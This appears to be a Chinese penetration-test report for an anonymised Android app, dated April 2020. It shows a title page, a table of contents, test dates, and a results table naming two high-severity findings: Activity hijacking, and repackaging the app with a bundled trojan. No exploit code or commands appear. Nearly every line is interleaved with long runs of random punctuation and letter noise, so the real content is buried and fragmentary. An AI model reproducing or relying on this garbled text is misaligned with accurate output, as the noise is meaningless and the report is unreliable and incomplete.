* T1 C" ?& Q9 D9 F5 I3 R3 S$ j2 X& a, d+ b
1 g" v- \ a7 y; [) u& @3 b0 B( D4 P0 u& J+ S1 [- V- `0 D
2 {# u+ {2 r( m
7 c8 p6 z; a+ W1 f! a. C
: M: w( n; l! N# i. g3 q
- k( |; q2 [) ]
, d; g- h7 G4 f9 I
4 @) O8 }' D2 F& ]
' f3 F. c/ W& S7 M# k4 d5 W5 u p. x2 ?0 K }. l
文档编号: 9 ?+ j8 p# k4 L7 ?1 e( G
& L( u, H9 J2 I! t
p/ S2 R; \ B' z0 [* j
3 V+ C: R& r4 ~8 }
6 t- c1 }$ d3 p9 i7 h& F4 A5 @! `2 J
1 t% p2 p3 }. L5 F5 d# B4 {3 m9 K \; s$ Q
( ?+ m9 d$ T: _ ?
" |6 k- C$ z! ~+ @2 V m. Y
+ r! s; P( y% w& x; n& u, ~2 Q4 k6 I1 c, f; m/ s; b% d
5 [3 { m, [0 t$ G+ Z
) w; I: W8 j1 S* ^; g/ Q
2 u4 ]1 f; {) b2 R% {7 [% b
3 \, B) f( e$ k& z / F% I3 c& E6 E# H# W
( @" F$ [9 W: C8 x& f; \4 `- @
5 B& ]. b8 A7 e
8 \3 K. ~9 G, k. ~' T
5 [ y: |. o$ _+ J* C! M1 h s) ~/ c) D0 e- _* p
5 A" G3 m6 H3 N* D
5 s( S6 n/ d) \- n
/ L/ A6 x, K0 o. J; g* s% R0 K! @( {. J/ p
$ {6 y3 |, y: N# w& R' X
: W1 z. C5 t! f1 e( @$ g- ?- M
7 h; T0 r' w6 e$ E5 q" B% A' Y! T5 k$ c1 Q
" R% D" t% ~* m2 j2 f8 d9 j: t4 V1 p
1 f% }+ p- `0 r/ K: Z8 o; x
, w9 y9 I, d3 M* ?
0 D2 J% D# L7 H# ~
% b y) L8 d5 N 某某某APP渗透测试 / o2 A1 q( j" B9 ^
. Z" _" f8 x1 `. z
+ o2 z" n" o8 T& b0 B( \! ]4 z
! v/ C5 Q- ~8 I# ]$ K ; s& F4 l0 m: |
0 q7 f) _8 z7 e6 _$ Z0 O+ a% S ; Z2 c. j/ J6 [4 x) Z
! H, e$ t9 T* M4 j6 _8 ?1 [; i" d# D
' T1 t( I) k/ e- {, E4 k
/ E _5 A$ H" c$ U- q# ~! k & n+ G# f7 [" _. |3 f
. y& E0 T6 w* m# Z - t, J, y4 O0 B0 }- |& c- H8 G
. x+ V7 d; H: Y4 t7 V
9 p/ b _. E4 u2 f: \" i s
& Y3 `+ w- Y8 F+ L1 Y9 Q; I& |5 \6 m/ ~
7 A* x+ G& g. J1 f) i$ ^& ]# x. R7 y! N" v" j" C4 q
. ]' }3 l; Z: m; K! ]
% q' l; {! X( n0 x6 ~
) _3 A' x0 s4 a9 P% u t( M* ]+ h3 \+ K" D
: j- s; ^. C4 K
7 k: z# I- z9 K( Z" E
& k& h9 f4 X$ }
$ @ ]: k3 K+ C, T' o" _2 H7 Q% Q2 W
; v; {+ {7 Y7 a3 L) t
8 ^. I" d/ g; e- q8 b, x2 M 0 ]+ p/ O: j; N& B# {7 }- y( O6 n, P
' L$ \5 {: D0 t' M* i. t. Y U% ]2 T& g
技 术 报 告
; a2 |/ A8 u8 Y4 Z K, p: I6 i* B, _. q: z
. _$ V" f3 I4 y# O! g8 d6 q3 h }
- o1 M! ?" x0 @: j. Q# R7 n ' {7 l, a% B* g, @5 L
5 W8 Q- l1 K- Z. X + R& ]$ n) l, _# k" R8 b' A
5 x/ F) R. ~5 H* M8 u' q) W
" o: Q* k# Q( z% V( A' v0 y5 k+ q" H* d8 \! n1 G I
* J! U$ d9 Y* |/ E$ L) N* R
' a9 i3 [5 z# n- q6 h
; C2 [* a- ?* E8 X; v6 a9 j* d8 e0 r7 |6 N- I+ J, f, H1 i% o
. m* d) Y3 U. {: T& _
+ r7 c6 y# [. i4 f/ h0 P% s9 u ' P, A' I1 D9 p
* v" I' W( M: b
( x# C' T7 f5 Y( j& B! X& }0 K
- U0 V' t/ ~2 g- o
# d! W$ `* r+ j) q: B - h+ S0 \9 U1 h" d
7 `. l0 w$ j; x0 s3 k/ `
% R" m2 Y' ^8 Q. r
2 O \' v1 M n$ k9 `; J7 w0 x
8 {2 n# m: p5 c3 ]: G& B, O7 J( K8 c5 J K( Y/ N8 b
: J6 z( M- U! Q* S2 r
. x0 L U- Q% X, K. o5 k% h$ f
5 {1 K/ q1 l% [5 g- F# X9 Y/ N8 d0 S; R( Y h
- f' ?/ u; p4 Q
: i) Q+ ^& G% `( K# ?1 o & H9 k' l9 i, h- {4 D) K# [; Y
# `# O0 Y8 l, u% P& f
6 G- y4 u! h+ I* A
( C4 q, N) P# [, p
2 q @" U( F: ~* H O7 K
$ `5 I- x# E- J0 p; @* Y+ u' ~
* f; V8 ?3 {1 F( Q5 {; q8 }; Q
6 K1 s7 O$ b% a2 ?$ Y. j 4 I6 h4 X7 ], ~
& B; I4 I0 ^6 a$ a1 S) {. Q: k4 L1 ?1 Q7 q
+ X5 G) i; s/ z- F1 R" m
/ \ L. p. d |
1 A, N" j" \9 q2 N: t S. u; C/ z0 q7 g5 C* y8 |9 v& B9 Q- I
) {: z' ~/ _, F. y2 l I
; @2 c8 @" W* f& P" G
5 A, ?: T* L( E( y% E8 o9 B- T7 T, E; _" Y. s4 S
# q8 |( ^ K- i% A% s. Z% x% S5 g, Q; R7 I, i. h# v
^, F C% n$ G* @/ |. H! v
& ?' L- E# S y# a) K8 h/ Z
* I; h G( B: E! C$ U- R, H; u
6 X; O1 L' q# y / ]: E8 b5 D1 W4 G
7 d! P7 x7 q8 j% x
5 m! c: O9 v- X. }! M5 z4 {
7 d9 ~9 Z4 ]# P7 b" k
# M$ u1 e# {; t4 E- y: T/ a- d. `4 e! E
$ N9 X# r# d, ?+ E% ?
6 k7 \ h4 i8 N% M/ M$ i* I w& i
+ I1 h, F" Z9 N; l' |3 [
4 ?/ {) ^# r2 |
( ?/ Z, E/ b0 V3 M. J: R" Z/ X/ ]; k- |% | G1 F
. g$ r$ f' O4 n6 Y8 Z
, |# _" Q: v, }+ R/ k7 x 2 {5 q/ f0 D; ~3 F; G9 E( q
9 A* Y% c* V1 s
( K" M5 ]5 _' u( k
0 o; |! }+ m9 U( z0 V4 q : G$ {2 ^& S/ y2 p) G+ L5 B. r
' g: ^$ Q$ F& l& p, H. @ 0 A) _, V8 ?% T6 n3 g
4 ^6 e0 K) c0 s! H9 h( I/ w
( W7 ? R9 r6 n
1 N% \" M& }7 H$ S1 {1 B
" R& A$ b9 S+ I, y
7 n7 y. r7 N0 m$ p, W( E3 k: v 6 i; v% O7 ]! l. S8 ?
0 m! q4 g, W- q/ R1 i
. o O* V; D3 l7 }: _ e: x1 j4 E. E$ m+ l
8 [$ L% L- V9 x! S2 b9 k& M) R1 A. X% u f* W
0 B8 ]# u$ T. L! u, t
5 q7 ~) x% z. D$ N* t
5 w9 G( x; m3 `- |
% I6 S" E! K: l" [6 a
" Q! W' J, Z8 ]6 }! w
+ Q3 Y2 K/ W- [, ?7 ?+ K; w+ z) [ 6 j+ X8 p& P% l+ o# d8 l" T$ b R6 v2 E
1 n7 i& J: i5 ]" [- ^
8 ^" r% {' c) v H- T) M `" A2 H
, {8 K2 {/ E) q. ~ 2 x q3 I" q9 ~ q+ ~2 U
+ n0 x- Y3 Y- T7 U
' a8 B/ }% c8 H- v
0 C% O; @ v2 k5 m! y* o: L
4 f8 V. m# h4 M
( B9 u4 d6 x u" ~' k
# v3 }- {, I, i! q( q- r& ]$ E$ E/ @4 ?5 A1 x
: S' y8 v7 E9 N2 l/ K4 J, O2 c: ?* v. [0 F$ k! A& p
- B+ m9 ]* ^" T0 q
1 K# e8 L4 r# a- q p9 l
9 t0 u+ l% V( S& @- a1 V) q
; Y; u1 `8 C9 ~- ?5 f7 w+ d 二〇二〇年 : Y( R. r( }4 k, C5 {+ u
8 a1 z' d, j1 P+ K, ^2 p; T# q
) X& z% }7 c" _# E0 l C+ e) [
3 ]$ d# B; U. w; U! l
4 h! _9 U- n& C2 J8 B' n! A# L q' b
& B: Y8 f' j* P. I3 Y# L
+ q8 a8 Y5 | Y' g* J; ~
1 L5 ], D7 }# ^) @) [ 0 L+ e ^$ p# n* T! e0 f
- Q" a3 y, W1 m) D
# Q( e! L% L& O+ f7 ]1 V: b( e) h6 w* t' y) I& G
! n3 O5 i' K9 C" m, L p' q$ L7 p
. u! n1 q8 o; y I( o) r% t3 ]
" I% k$ R$ t) ~1 H- |3 p* S& H
' @1 b9 E% Q) p; n( h6 ^
* _; t% E5 b" ^, f- z: ?, V0 o ^
- c& D0 I! w+ |6 K. }% m- `1 z- {
: s9 n2 `/ F& j& Z 6 _1 q; {: ?2 N7 Y1 {
2 y3 h; b- r8 i. p
目 录
8 N. N1 e7 [5 m& x$ E7 Q
! e& d: W2 i' z1 _ ?
& K, c7 n# E' d: X. p' o$ _
- i) ^6 ?# w& U m/ e- C 2 i1 g( }, P% S9 y/ t) v
8 Y: }+ K* ]9 @8 J " O9 r5 q; F" t/ J
, ~: c s, K( t2 B. p 0 ? u1 D# a4 G) k
5 _5 L; J4 R/ i4 y
- P+ M0 V2 R* K3 v* M# ?' R: k2 X5 o- r/ j( A3 x9 Z
8 B" T4 t ?0 G1 d$ W) W
2 l6 {' c p) C& b: L6 d! R 1 概述... 3 9 V* x! u2 f) @ N. z. u( y- l: t: E
" P" P# C; d" ^0 T: d( P6 X8 D( g
* m# O3 R' F J0 F6 \& c# E N$ l+ |& P
* C/ b& \: w- _/ `, ^! W' ~' r2 N0 D/ C* Q$ P8 ~8 h
1.2测试时间... 3
( \* H$ {) Y" {( t' f! ?! W" n' q( N# x% y4 G+ c" y7 Q
7 J D" O( L4 t
1 A7 q y; X& V3 B # S# e4 x6 v5 Z7 n
! ?+ [" z- B1 ]
1.3测试对象... 3 - I0 F3 p# r0 y
& S4 X% Z6 l; H0 b4 @& U o
: k! e5 n4 A, ~* B& P: a
6 f0 K t$ |) S" N4 t9 e ! O( [4 @3 K; O0 v% S& F r
0 g1 i6 U Q' [/ d+ ?
1.4测试结果... 3
8 B+ u! ^0 p& p% C9 d1 ^% G1 X* J) Q5 M" z m+ }! K- r1 ~
8 J3 x6 I) w4 E1 y* s9 b: D
3 X+ v. n! G5 J/ u , F4 F' z' X" \1 _" _
& l2 H3 {6 l* A% j& G* u 2 检测结果... 4 7 e7 W& U F6 B$ }! p: c7 \
" C' g7 {% t: _- {2 {5 w9 i
0 z8 ?: R& O+ k6 ^) q- e. _ \
/ _8 s' \# Q6 C
3 ~$ Y8 I5 I2 |2 ^$ ^1 \0 K2 g, O9 F
2.1 某某某... 4 1 C, E4 d: x9 ?" ^2 j. I3 I
- R5 v0 c: v* o9 i
* c2 f" }1 Q( q- M& p' ?0 a9 L5 k
, U! K4 m( r K: z7 U/ A4 L
. C4 x" y7 d7 e# i" D& x
6 x( C* R( g# N
2.1.1检测目标... 4 4 m& I3 S1 t" N+ r7 z
5 [* k |# K2 ?# k6 U1 d1 L8 Y
6 N' t- n. y; O5 p i3 S# Q
: j9 F# m' [8 c; o9 {6 T+ m # e+ Y5 @' p/ j8 U) |9 y
0 k1 s( f7 o& K) S8 q/ A
2.1.2检测结果... 4
% p; ]* ?, a) u M' Y! |
# h* ?; t8 _8 d* m' [
5 c: u. s" z1 x* Q" l5 t2 q
' @9 s2 }2 L5 Z4 i' P2 ]
5 o9 d7 v9 c. Z- J) d
+ R2 `8 R2 |% ]) k 2.1.2.1. 4 ' O! W! ]- @% q% R: @: K
! D- ?5 O" E' h
1 H% G! Q6 ]) p, M) M& A, G/ |
1 a* I( a# n. K ) j- r, }& w& z3 t( a) q
: \% q, S6 W2 r P, b8 I& |! |
2.1.2.2. 6 ! e) N$ `* S. ^9 r( R1 m! |
! i8 F* I) K- M5 @) D. u4 A
- K: b3 F* g3 n) X4 T* t
( Z& S2 j2 x; e6 c' j
. d0 a/ X/ e% i; j) H7 N$ P
) g2 Q3 Q% S r
+ K2 |: d5 l. N/ k
7 @2 o& A b v4 d
5 i; [4 V5 @0 d1 a" L" A' H3 V! A& v; N# m3 m+ d3 ]
: j6 L( r: K7 q7 o8 T+ i" y
, T7 a" a; Z* n: c$ X3 c0 s
$ S0 {- l2 B; |9 r& Z0 t7 m* D) ~2 y( B* \1 u
3 A: Q2 T, T. W$ q7 i; K# c
1 [( ]- }9 p' G) }+ f# A7 b
7 D+ G( m. j" I9 _( }, {6 b
6 l% F2 }4 b6 S$ Q2 o( \
9 u, m& b. r' q4 D+ f( Q0 d, f/ Q0 S( K9 Z
1 概述
2 a/ i+ a5 Y' e: s, j9 G+ G+ H; B3 ^ w+ o& s; b0 B- A
9 H. l# j1 {( W2 u9 W# n' Y2 Q8 d* o) M* k6 o! t( y
& A2 P& h; k8 S0 [
3 p/ M3 D9 q9 P$ N 1.2测试时间 , m! a+ ?" e: m- d4 _+ G9 j$ B
* R8 I- A* F9 \! W
. @8 Y9 \+ u; e& s
! O0 b+ n" V: f" u1 H- `7 K( O F
9 e1 Q3 Z0 Z0 P @% p3 U7 E
- g7 [/ P# U; z0 D$ g5 C 4 l7 ?7 |5 d- f& ? _& i) `! Q
+ K; O0 s. ^* }# _6 g g
+ o3 q7 [1 b7 F u# K$ W9 g5 r
0 N4 N# Q: f+ U; i" N # B- C% P9 ]) b M% v
" j+ ~. ?5 E+ o* A
8 f$ W% r) ]4 \- H6 Q6 M2 [9 G6 k9 ~
渗透测试时间 : ?4 w% p0 y6 D2 J
* j$ I: K3 u! e; L9 O' o
. i) i' D* p, R3 ~# {# A8 J w k- z
|
" G1 \7 y+ E$ O3 B( U4 R1 u7 a9 G
' f4 e9 R/ F3 p" S" d
! T: h- L8 a" O& }
; h% B1 Z7 K5 H0 j B
2 [- |5 B7 G( s& \0 w) F: `, x/ ^+ |' V
% \2 B" L& l$ d. i
2 `7 s3 t) `* M- i/ k/ V" [! Q $ t) H& T7 L6 h! f; ?* u9 R# f: v
# E! E2 w4 _) e9 l8 H
起始时间 - `3 s9 \6 A. S- L& y9 ~/ x4 g
/ T5 D2 ]# _1 l- i: j
h3 e' q& Q& Z+ l6 Q; |1 T' z
4 D" r3 g4 j8 H6 \$ d1 c' P1 a | 0 ~, z7 H" }0 x) ]# K9 ]3 {0 f" v
3 ` ^: Q6 h& _& K6 h
, ?9 C* j4 J k) D) x+ H
: m) u m" h6 u w) j* `
* x% @/ n8 k ?
( J6 c3 T( n3 F: h: r/ U- b$ _
2020年4月6日
1 ]9 l7 r0 d7 ~3 F* T! H( _6 t, o' I, C8 ]3 b, u
2 ^9 {) D) E: R" a/ ~& x
9 V% I5 {' T @& e |
' T& \# h9 D" O& t# ^
# j( z" k7 f' b# Q2 u: ^
- B2 C& A& _/ R" k0 p) c- s* [" G R2 J1 H, i/ Z/ p* |0 ^
8 |4 h( x9 U$ l4 U" T8 B: H3 B! C1 @5 u; P/ U
$ K- y3 U6 F4 D5 n4 n
! p! q, G' n6 x. J( w P+ A% Z P h% T: \+ k }# s
4 ?- x5 M1 Q! s3 ~" h! q
结束时间 U! }: s3 W; m$ W6 l4 y
5 U# o8 _1 x5 h8 E0 q
5 M% @, X- G9 t
( X8 }7 i1 u9 @( U, w+ I& O! u5 V |
+ i7 { J1 ~7 m! I8 g. L9 F
2 o* V2 M$ i. j% y/ p
" p1 B8 ~: e, x) j2 @8 a7 _, A8 c: n: u; o2 h. C
$ d Y$ {* A- o8 V, s0 W9 w, U5 Y) K0 [8 K% W8 Q4 o& x, N
2020年4月9日
& v( d1 y9 E% i1 L* S, v( O4 p3 l/ I0 f5 O* }. ^- y' O( B
/ c4 \' ?& x2 C; {1 w" Q0 u T) Z( E8 ^$ l. r z
| ; E7 A6 ^( C5 y& {
L8 I5 O W' e. v/ x
4 `1 y4 f6 T: S5 q& K; V
" Z3 {& Z% U6 K) F# Y# K ( A# W- `6 j) b/ b6 Y* r
& Z1 k) p2 h0 p; [
) E8 F, P5 v& {+ Y4 `0 K A' K- L& \/ C
2 K* I! ^5 ~/ g3 S
S; W* U9 r3 B |1 W 1.3测试对象
% k+ j: D% m/ Y/ j% c9 X* I& V+ s* f' O* R% C
( b/ y( V/ a: d/ b0 E6 M
) s0 W! j L+ P$ R ~
, P4 a: l5 C( h# ~, r: V: T1 e# v8 F( b% T9 D
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 8 H' B7 e4 l4 m$ o, ?3 B3 s: P
, b" A! ^7 O2 z8 ~9 z3 c2 X
" g5 c' {6 Q) w: D
* C; c& V' I! s) a* Q4 s ' S% @! g/ d1 h e0 ]# W
+ \6 \9 @: v# ?- N( B2 R* @, x
表1-1 检测对象 . J( D v0 U/ }" W: V [$ z
& G: `/ h5 y- q: V
9 \' L" k, d9 r& t5 ^" d$ F
8 d7 }' }% |; n, B0 f: h5 f- W ( W4 x5 e1 N- W' B
. ]! y, V! ?# x/ _- \! J5 i ! K8 i' G0 q9 g7 s1 N
8 q/ S4 p' e/ a0 g
1 \' X9 L5 d9 C3 b
* r( U. g# G( N' C7 m/ y ( Q$ B1 q# K ^8 @! N; }
" q# z6 @2 L& I " y6 _' ]8 m& k% A" y8 ]
% a% x2 O2 I/ _- B( n" x 序号 ( @2 R1 I' i6 U4 W+ {. L
7 ~$ w) z+ T% L6 W$ Z4 G
* p; J, s2 Y: C5 Z4 V
, Q/ k! [: L- u: R% I+ j6 ]
| # z6 q& N7 Z2 w; \/ b: z3 H
# V8 z5 |9 P. V9 B m" ?
6 ~1 j/ s. M9 ~- ]/ Z1 z
j0 _' a1 Z( w5 J' ] N$ o0 H/ k* J2 ^6 X
& F( {0 s% I6 D# l0 K
测试对象 3 n+ ?! k2 r. g! Y( x
! @9 c0 p9 }( A4 x, I
" c7 c6 X" B5 m% R
6 {% c4 I# ^) e" }$ L
| ' a6 P! z! I8 j% ` x6 V+ e
7 G% L$ ?+ Y z1 v) z6 a5 g: L' [' U
/ @9 P& A( a& \
' {. k b6 U- v9 ]# h/ \ % Z) g6 ]* a; T$ |
/ j2 z0 M( p4 z% c" w 测试地址 2 n5 o9 s/ v/ M7 i* ?; j
% C* }% B- Y3 \% @
4 A9 v9 u! J& A, U p7 d: {1 |6 J9 e" E0 Z) ?4 N+ l
|
# f9 f4 `# z/ Q# |( B1 ?9 `" E) ^6 V3 r: A' S; T4 _
0 M) |+ h4 Z l# T* b
/ C8 s/ l9 X# f' q$ }/ [8 f4 M 4 g4 H* d# M4 z4 Y8 o
. ?3 D' A& T! w G5 t
安全漏洞 / I' T1 q( O2 |% P+ U
- d) T- M1 w( D6 x0 } Q
4 ~/ @$ f1 B/ w. `9 J+ {' s
# l" q+ Z( U! U+ \9 v- j) _4 v& P |
5 ~. |- N1 u8 S* a0 ]! b# e. F6 i0 `4 ]% |
3 O; ^- i' {1 V/ z# y Q# Q( I( n) U- u7 ~$ }
* C$ f) E9 G+ o- p
0 o, | e" C* b 1 y+ {6 V/ P- H$ G K5 |, h! P1 {
! e0 {/ {8 C1 L2 q4 d- f0 A* N
* z9 M! X+ F' [9 s
$ A9 S- b' b% ^4 V* u0 L 1 $ p) u; a, j: G5 Z* L
% `7 N5 C3 Z! J3 P) w
& E" i5 s9 \, [# g( P" k3 g* w) k8 S- i1 p
| . N0 C3 l! M- |- \
0 }' A" X9 E) \+ h ; u* }) W* G5 Z" R, e+ g
- w! A. v6 a8 w! W
3 T! U# I( U2 ?+ u. Z5 H+ g
( a& s; R0 A) [, o t/ l' K 某某某安卓APP
4 o' I; ~6 j+ L9 W' B. T2 p, T/ x7 t: P; n! ?2 _- Y
" U) ]' ~1 b" v+ `
( d8 z* p" O0 f' [ | ) b. D7 u/ [1 c' a2 I
3 L# i5 x( O' c& F% ]' k; z& V + h5 g2 t9 V& Q. H6 t# u4 a
; S9 O% @ m+ c8 V* Y! Y- ~
$ I$ o5 O) r. K5 S" B7 W: \6 z2 k5 Z1 {: X) n, x
9 l% ~4 n3 D" r4 x
% r* C0 l# [0 i+ d9 [' e' L 5 d$ W' u9 b4 l$ ~ d
) i3 e' ?* \8 z6 }: ^+ l | 2 Q- x- \' v* N
) z- O% K! z2 }# a# F$ c& F
) J3 L- [# e9 _# [ C' _2 r, S% y/ D* r* g+ ]6 Y. L5 W
0 h! n4 H" P! h7 X7 j8 ?) x& a3 ^0 E) z
2
4 U( O: |( v; e
) W6 {% U d; I 4 [# R1 w' @- c
/ r: T6 |8 M2 z | 1 ~$ W* Q8 k+ Q% r# T8 w D5 i
- s, x% E$ P, b+ M, P! h7 h$ j# C
: h$ Z3 `; o4 u u
) m' M' T' A, w1 i* M' @
; Y3 y& p6 x$ Y: }5 g6 m
& k) |5 D9 U3 D' P$ k/ i, j% y
, l' S. l3 ^( W/ x# m6 B! W$ ~8 w8 r; i; T! @2 g9 \4 i- x
1 {3 P: B- ~8 t( q7 S
0 k; j1 T* Q4 v/ x1 I# [. r. a$ | 1.4测试结果 G+ o% p4 n& S/ B* W% ]
$ S5 j, C% Q' }7 c7 l
6 p; {( T, k" j% h) j$ [/ w% L+ w# b3 U0 Z" }: W. o9 n/ ?6 Y
( m$ v: ~" u' A% N7 F* d* t2 B, a
7 w. I! Y, S- b) b: j$ F7 Y 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: , ?3 |+ F5 i: v2 i2 k2 {
, k2 g4 N, E. T0 u8 d0 K6 q* X7 ~
- `1 v0 w# P" e. l$ B
7 r# |9 k4 Q3 Y2 @& N- A+ q
' t3 \/ u- {$ _ l8 C
* L6 C) N9 z8 F# ~& O8 K * I, K/ x! {8 |9 \& ^& [/ X
; `0 o! u- v+ }$ ?4 l% z
+ { n# U( I. k) {1 }8 V
0 G8 b5 Y: v3 B( j8 V, X
- u1 Z* U3 g7 c
# z w$ e6 q) u) W1 o
; d* e- J5 y# ~+ a5 h# \$ f0 \6 A0 ~3 K: t8 l/ p7 k
! j, M$ p( a2 u, D
1 ? N2 v2 P3 U9 w: W* l* w
- d$ ?- J D: \ t1 ], l+ E* [- r: x( q% f6 \/ i! y7 D) v) ~
J9 B5 d- ^. E) Q
; ^) \& J$ s) _" k4 h- V5 [
5 N( B! t! _$ x4 U9 r- a
) K* i7 Y7 D& X5 @4 J7 ?) t; K+ Q 序号 1 C ?& o* U K; m
( ]6 Q6 P7 Z4 B0 J 3 _2 X& j' [+ O) m
: n/ i2 K' x6 U6 `0 R
| o$ _1 s9 E' z' n. n
/ n9 s7 i1 Q5 O" T1 v9 B! ]
4 W" U, ]4 } P6 d6 D% b* W
, l- ~' r1 P$ ^5 \ 6 r" M/ b O* V0 t
" l. c" P7 Z0 S: i 系统名称
4 ?7 v7 y2 }# O
6 l* M5 B7 G% `' u& E
1 ]6 `! Y Z/ F" R8 E; n+ D8 L/ C+ o$ p0 l" ]( L
| H; f# r: \. H) J5 t
( c! O+ [; q: \) e1 H
3 `( J/ K, o( X% l6 G3 e/ |
& X$ X: M: a+ ]6 ^$ Y ) b) p- R r1 D
3 w5 w8 Z/ d7 e 漏洞名称 4 S( z0 ~3 L4 K6 q- E' a
6 _+ P! ^" Z) r% t. Y! P |$ \
" y8 v) P, w9 ]( D
( i$ F% r8 o6 J |
+ x% E9 v: t; _5 n) h, d& d& a
$ [- o5 v5 V% c2 j+ C
3 H. `6 {& B; w2 }1 c9 A% d$ u+ X0 |2 _9 ^
y9 x* n$ w4 N9 g. t( X3 |8 g
* }& S, n- P E/ W
漏洞危害
2 W1 f" z& n5 d3 P
+ }0 `7 [$ r& [, M9 P; P8 S, X $ g0 j: D2 `1 u
9 R6 _6 e- M: s8 [% i9 S7 {
|
0 o" _/ H1 t6 @4 d, D- g
5 y S9 @9 _8 y$ T1 N' e9 C- M' D 3 L( N, t' c* l3 x6 _0 T. ?0 H
/ \; | t0 e7 t# R
- G! @- [* a1 [. j1 [
" D1 {! J2 E, r i- T 修复结果 9 _( E9 O3 O! e7 O/ z. i' M
# A. s4 B& c. j
$ ^: [; n- V# |3 C
! ]! U) z# L8 B) Z
| ( c" V( I0 _1 G0 t
/ a7 q: S& i9 }$ P w) h
) p o% p: r, R+ V! b
% J+ T) m1 t- H/ A v3 |
$ k! H! g/ k; K7 g3 F
/ A W1 Q9 P+ n+ I8 N/ ~
1 ?; d$ j3 N3 C0 U! f3 X" D' L/ S9 \
' H" U) i" X% ]% V& Z+ d. S3 T8 d- B1 Y: m- O
1 ; H3 k& u6 } s h1 C
& t. t: M) Z0 y2 }9 A( \' L 1 d& p% b9 ~# }4 A& G& h
) g' r* ~( E9 i" |; I3 d' o, G |
* r/ D, H3 d8 V$ v) V7 l
! D/ m$ s9 J/ ?& [1 E% h
% {8 ?6 r$ v3 G" l' ^
- g" X% [8 S G$ J3 C W. r
% t$ w1 d( S$ ^9 x3 A9 J3 x M: k, U$ J% l/ p
某某某某某某APP
' J0 n) A5 g; n5 P0 A
. z0 n: { y6 w- q# d( ^, u8 ]
. k2 i! p- U, g2 f% q+ I" |8 [$ g, c- E, X( D1 C, D3 t
|
& z5 ]' T4 Z5 W( _( Q* S
, i5 f% g. J1 S" [" m. P# }# k/ m4 `
) R$ S2 x% c- y6 e$ y6 u# e c7 O: r; O. R T/ o
( d( S1 q! W1 @# q
* \7 B6 Z% k1 t! |
Activity 劫持
4 l/ F* u, _' D( p5 u: ?
4 G" a. B& n% w& M# |1 W+ B9 l 2 j. I6 I5 T% s! k. \9 Z; ~4 K
3 o6 C. \- |5 a5 e) H8 _5 ?
$ X2 Z2 }, D6 ~' f' Z$ J# v
) ~$ K. R: N+ x G' g " |3 v/ w q/ ]- H
" ~2 d9 t: r/ U( |& y) ^" J
& Z) o% F5 {* A* y. {* a/ X
0 \; h6 j- }* ?& Y: c7 z: r' N0 n |
) S w; l/ G1 w% S" C- x1 k4 w
9 b$ {3 Z) o. m$ I$ \( |6 D6 z
- ~- ~. o( `7 M- T0 ^3 L' w1 n$ u, T3 ^8 e* L6 v0 e! o
. S+ Z: R" x! q4 K2 _$ z& {
" N* e( s' U" [4 l, u; Y; [ 高 9 V1 O9 o9 C0 |9 G [/ Z( x& H
2 V c% p3 u% i# c0 E0 n y
! z5 p. x( B3 J2 b- Q+ j# [% C9 ]: S3 f& L% V; }6 W
| ) j+ J+ U7 Q! T. V
+ y9 b: B0 h# o. q( Y$ c* x
# ~3 N# _* w8 I, ^7 P& Z; t4 y
# }" i+ U. o! i3 c
% |1 O9 d L j E: L/ p- u5 l! H4 G) ?+ J% U
, \2 j: a: |( \ H( G6 s
+ j# r; ~$ U" h* Q4 U* F " _- p/ A0 @2 j7 l
, W4 C$ G8 [( I* D. y |
! r* ~% J+ R$ }/ ]9 W( v$ E2 b& F' K n/ T! V% B) e
* `7 ?- m- l7 x/ ]0 ]$ D4 z
4 ?$ r. a5 [7 w 6 J5 ^3 k. ?2 r; p; m
& o/ h7 d6 J v) \. b1 Q% g' f
& J# \$ U2 @& D4 {) |/ r4 n" i9 y7 F1 w4 j k
) h: J1 Q' ~% A; Q+ @, s3 F; G9 ?
( D$ r1 f) W9 K$ e. L
2 2 N- w/ ~6 m+ A* V4 S
4 n! s9 A/ p \' P % Q$ }3 j; r- D0 X
) `, M+ M7 c* M& X
| * w; V. B4 A3 ~8 H) {2 K5 m3 {" }
5 g( t# Z, ] ], Z2 s
. j9 U2 q& ?: K' P+ l N6 w& S+ c0 P5 o( I6 O* p
$ ^3 U2 a: `7 B
0 ~: N! T# P6 W7 a% S 某某某某某某APP 8 r+ E; A8 ]6 ?
0 a: s: z: t8 y " Z k1 n1 i8 A' q" m
3 I, w2 t' V; [$ @' Q0 P% m; z
|
( _+ c, ~6 x! v4 R: Y4 a+ S0 O) u" c+ ]# X% c' q( F+ o
8 L2 H" Q7 x }1 \
) L$ k3 n1 c3 ]9 G" e 4 I% l& x) [, s5 V% R
0 V7 f' n1 K7 J" i) G$ } 反编译二次打包捆绑木马、篡改APP代码
O. Y/ v, `# n) D8 x
- U. j. s1 B$ U$ f
/ F4 C+ _, q& d6 g' Q+ P8 V9 H6 e; Q( i5 o
| 1 `; p$ o( R% ^5 C% {$ i: q
, c/ n) N1 ~- e6 o3 g( |0 R
6 d- L) k! d! Q- e8 d& g0 h; ~" f$ _2 ]+ i( E# V0 ]) P
4 Z6 N3 Q" `) ?- V+ ~- R8 t1 K
; U" V# n6 P9 C' I7 m7 w; q 高 o6 l0 l# Y/ ^ }: ?! ^1 B5 y' |
: @5 M, \7 X0 e9 J# F
" F7 L, {) l( Z3 M! {+ O
) S, Q0 l( D& S _8 l: L7 B |
# f4 N. x8 g- B( W8 @ I* B, V8 s3 o
& l' \* {) Q1 S% t2 ^* q H, N
' ~1 R% z/ Z2 H6 k/ b' n( c8 z& ~6 a
1 Z8 ]: @" L- E# }$ a0 q/ Q# N; k5 h, }9 _
+ ]' i: l8 Q* R9 K' H0 d
$ ^$ Y+ P5 Q t M! g# X0 n6 A 5 m# C5 M; M+ o5 @
1 u S0 M' M3 H6 U
|
' ?" B6 W. k0 m g/ _: H8 p
0 R' s& w+ e2 W6 M- X
7 a. N0 L1 P/ T$ l
8 D& V* |( s" Y6 } O
2 K2 [. ], E J$ o- k3 _: f; q7 X& H _& a
. N. Z. w$ Z/ {0 }$ x8 A+ C
! W' U. Y, M8 E @) U! ] $ q) @; a2 ?! l/ l
( ]" c4 c2 u, p8 }, o5 @
Z/ r& Z& b. V/ u \1 A2 o9 M) f
8 A5 d+ ?/ E, [& A 3 v8 j {( F4 x4 G5 X$ J# l
: x/ D6 a2 G+ h4 v( v5 G, ~
7 X+ L8 A% e0 s2 b. [
' w0 V; p5 ^5 S; T% M
8 X, L6 O# z& ~8 }1 l7 |+ _
- V9 [5 a0 L3 D 表1-2 测试结果 : k) r' k, P9 U! b/ @( E% r. i
